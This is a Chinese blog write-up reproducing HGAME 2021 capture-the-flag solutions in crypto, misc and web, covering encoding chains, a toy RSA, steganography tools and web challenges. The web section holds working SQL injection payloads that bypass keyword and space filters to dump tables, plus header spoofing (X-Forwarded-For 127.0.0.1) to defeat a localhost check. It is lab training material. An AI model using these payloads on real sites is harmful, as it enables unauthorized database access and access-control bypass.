HGAME2021部分题目复现

@

Level-Week1

CRYPTO

まひと

hint: flag的格式为hgame{xxx}(重要)
题目描述: 大家好,我叫真人,来自咒术回战,你也可以叫我,缝合怪!!

---../-..../-..-./.----/-----/----./-..-./.----/-----/---../-..-./.----/.----/-----/-..-./----./-----/-..-./---../--.../-..-./...../...--/-..-./.----/-----/---../-..-./----./----./-..-./.----/-----/----./-..-./---../...../-..-./.----/.----/-..../-..-./---../....-/-..-./--.../.----/-..-./.----/-----/---../-..-./.----/.----/....-/-..-./----./--.../-..-./---../....-/-..-./.----/.----/..---/-..-./...../--.../-..-./---../-..../-..-./.----/-----/----./-..-./.----/.----/-..../-..-./.----/.----/-..../-..-./.----/-----/-----/-..-./.----/-----/--.../-..-./.----/.----/..---/-..-./.----/-----/...../-..-./--.../...--/-..-./---../....-/-..-./--.../-----/-..-./---../----./-..-./.----/-----/-----/-..-./-..../----./-..-./--.../-----/-..-./...../..---/-..-./----./-----/-..-./---../...--/-..-./--.../-----/-..-./.----/.----/.----/-..-./----./----./-..-./-..../----./-..-./....-/---../-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./....-/---../-..-./....-/---../-..-./.----/.----/....-/-..-./--.../----./-..-./---../---../-..-./.----/-----/....-/-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./.----/.----/-----/-..-./--.../....-/-..-./---../...../-..-./---../....-/-..-./---../-..../-..-./...../--.../-..-./--.../----./-..-./----./--.../-..-./.----/.----/-----/-..-./...../...--/-..-./.----/-----/-..../-..-./---../...../-..-./.----/-----/----./-..-./----./----./-..-./....-/---../-..-./.----/-----/.----/-..-./-..../...../-..-./-..../.----/-..-./-..../.----

摩斯密码转码

86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61

ascll码转字符串脚本

line = input()
array = list(map(int, line.split('/')))
length=len(array)
for i in range(length):
   sum = chr(array[i])
   print(sum, end='')

跑脚本得到

VmlnZW5lcmUtTGlraTp9VmttdkpiITFYdEF4ZSFocE0xe00rOXhxenJUTV9Oan5jUmc0eA== 

Base64解密

Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x

维吉尼亚解密,密钥是Liki

}KccnYt!1NlPpu!zeE1{C+9pfrhLB_Fz~uGy4n

hint提示flag格式为hgame{},而第一位是},所以肯定最后结果要进行逆序,利用栅栏密码调试密文为flag的格式前6位

栅栏密码解密,栏数位6

}!!Ch~K1z+LucNe9BGclEp_ynP1fF4Yp{rzntu

将密文逆序得到

utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}

凯撒解密,得到flag

hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}

在这里插入图片描述

MISC

Base全家福

新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗?

R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09

Base64解码

GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======

Base32解码

6867616D657B57653163306D655F74305F4847344D335F323032317D

Base16解码

hgame{We1c0me_t0_HG4M3_2021}

Galaxy

题目描述:Akira的信物:用于提升Akira的潜能。一张藏着秘密的星空壁纸,不幸的是似乎在某次行动中遗失了。

用wireshark打开流量包,导出http对象,可以看到galaxy.png
在这里插入图片描述
修改图片的高度
在这里插入图片描述
得到flag
在这里插入图片描述

WEB

watermelon

题目描述:简单且上头的游戏

访问题目地址
在这里插入图片描述
在porject.js文件找到游戏结束条件,如果e>1999,会弹窗一段base64编码。
在这里插入图片描述

Base64解码即为flag
在这里插入图片描述

Hitchhiking_in_the_Galaxy

题目描述:第一次在银河系里搭顺风车,要准备啥,在线等,挺急的
在这里插入图片描述
点击蓝色字体,迅速跳转,查看源码,发现了HitchhikerGuide.php
在这里插入图片描述
bp抓包,提示方法错误
在这里插入图片描述
将请求方式改为POST,提示只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~
在这里插入图片描述
将请求头User-agent参数改为Infinite Improbability Drive,又提示需要从https://cardinal.ink/访问

在这里插入图片描述
修改Referer参数为https://cardinal.ink/,又提示本地访问
在这里插入图片描述
添加请求头X-Fowarded-For: 127.0.0.1,获取·flag
在这里插入图片描述

宝藏走私者

hint: 注意留意服务器信息
资料:https://paper.seebug.org/1048/
宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。
为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。
调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。
这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?
在这里插入图片描述

http走私

在这里插入图片描述

Level-Week2

CRYPTO

WhitegiveRSA

Description:

N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527

已知n、e、密文c,求明文m,分解n得到p和q。

import gmpy2
import binascii

n = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527
#1.将n分解为p和q
p = 857504083339712752489993810777
q = 1029224947942998075080348647219

phi = (p-1)*(q-1) 
#2.求d
d = gmpy2.invert(e,phi)
#3.m=pow(c,d,n)
m = gmpy2.powmod(c,d,n) 
print(binascii.unhexlify(hex(m)[2:]))
#binascii.unhexlify(hexstr):从十六进制字符串hexstr返回二进制数据

运行结果

b'hgame{w0w~yOU_kNoW+R5@!}'

MISC

Tools

下载附件,解压得到F5.7z和Matryoshka.jpg

压缩包被加密了,查看图片属性得到!LyJJ9bi&M7E72*JyD,压缩包名称提示是F5隐写,进入F5-steganography目录下

java Extract Matryoshka.jpg -p '!LyJJ9bi&M7E72*JyD'

得到out.txt,内容为

e@317S*p1A4bIYIs1M

得到压缩包密码,解压,同样得到01.jpg和Steghide.7z

加密的压缩包,查看图片属性得到A7SL9nHRJXLh@$EbE8,压缩包名称提示是Steghide隐写

steghide extract -p 'A7SL9nHRJXLh@$EbE8' -sf 01.jpg

得到pwd.txt,内容为

u0!FO4JUhl5!L55%$&

又得到02.jpg和Outguess.7z,outguess隐写,密码为z0GFieYAee%gdf0%lF

outguess -k "z0GFieYAee%gdf0%lF" -r 02.jpg flag.txt

得到flag.txt

@UjXL93044V5zl2ZKI

又得到03.jpg和JPHS.7z,使用JPHS工具,密码是: rFQmRoT5lze@4X4^@0
在这里插入图片描述
得到03.txt

xSRejK1^Z1Cp9M!z@H

解压得到04.jpg,然后将四张二维码碎片拼接
在这里插入图片描述
扫码得到flag

hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

Hallucigenia

本题根据官方wp复现

用Stegslove打开进行异或在这里插入图片描述
扫码,是⼆进制⽂件

gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=

使用脚本生成二进制文件flag.bin

from base64 import b64decode
open('flag.bin', 'wb+').write(b64decode(open('flag_inv_b64.txt', 'rb').read()))

在这里插入图片描述
⽤ 16 进制编辑器打开可以发现有 PNG、IHDR 等字样,猜测经过字节翻转 (左右翻转):

from base64 import b64decode
open('flag.png', 'wb+').write(b64decode(open('h.txt', 'rb').read())[::-1])

得到flag.png
在这里插入图片描述
上下翻转镜像,得到flag

hgame{tenchi_souzou_dezain_bu}

使用十六进制文件头尾逆序脚本,也可以得到

input = open('flag.bin', 'rb')
input_all = input.read()
ss = input_all[::-1]
output = open('flag.png', 'wb')
output.write(ss)
input.close()
output.close()

WEB

200OK!!

Description:

hint: status 字段会有什么坏心思呢?
hint: 这些字符串存在哪里呢?变量?还是...?
今天你 PTSD 了吗?

抓包发现跳转到/server.php,根据hint提示请求头的status处是注入点
在这里插入图片描述
fuzz了一下过滤了select、from、union等关键字,空格也被过滤了

1.查当前数据库
绕过空格过滤的方式: /**/、()、%0a,剩下的尝试大写字母绕过,发现不行
在这里插入图片描述
⼤小写混合绕过

Payload: -1'/**/Union/**/Select/**/database();#

数据库名为week2sqli
在这里插入图片描述
2.爆表名
发现where的大小写也被过滤了,同样大小写混合绕过

Payload:  -1'/**/Union/**/Select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema='week2sqli';#

查到数据表名f1111111144444444444g,status
在这里插入图片描述
3.爆字段

Payload: -1'/**/Union/**/Select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='f1111111144444444444g';#

字段为ffffff14gggggg
在这里插入图片描述
4.爆值

Payload: -1'/**/Union/**/Select/**/ffffff14gggggg/**/From/**/f1111111144444444444g;#

得到flag
在这里插入图片描述

posted @ 2021-03-04 17:29  atkx  阅读(637)  评论(0编辑  收藏  举报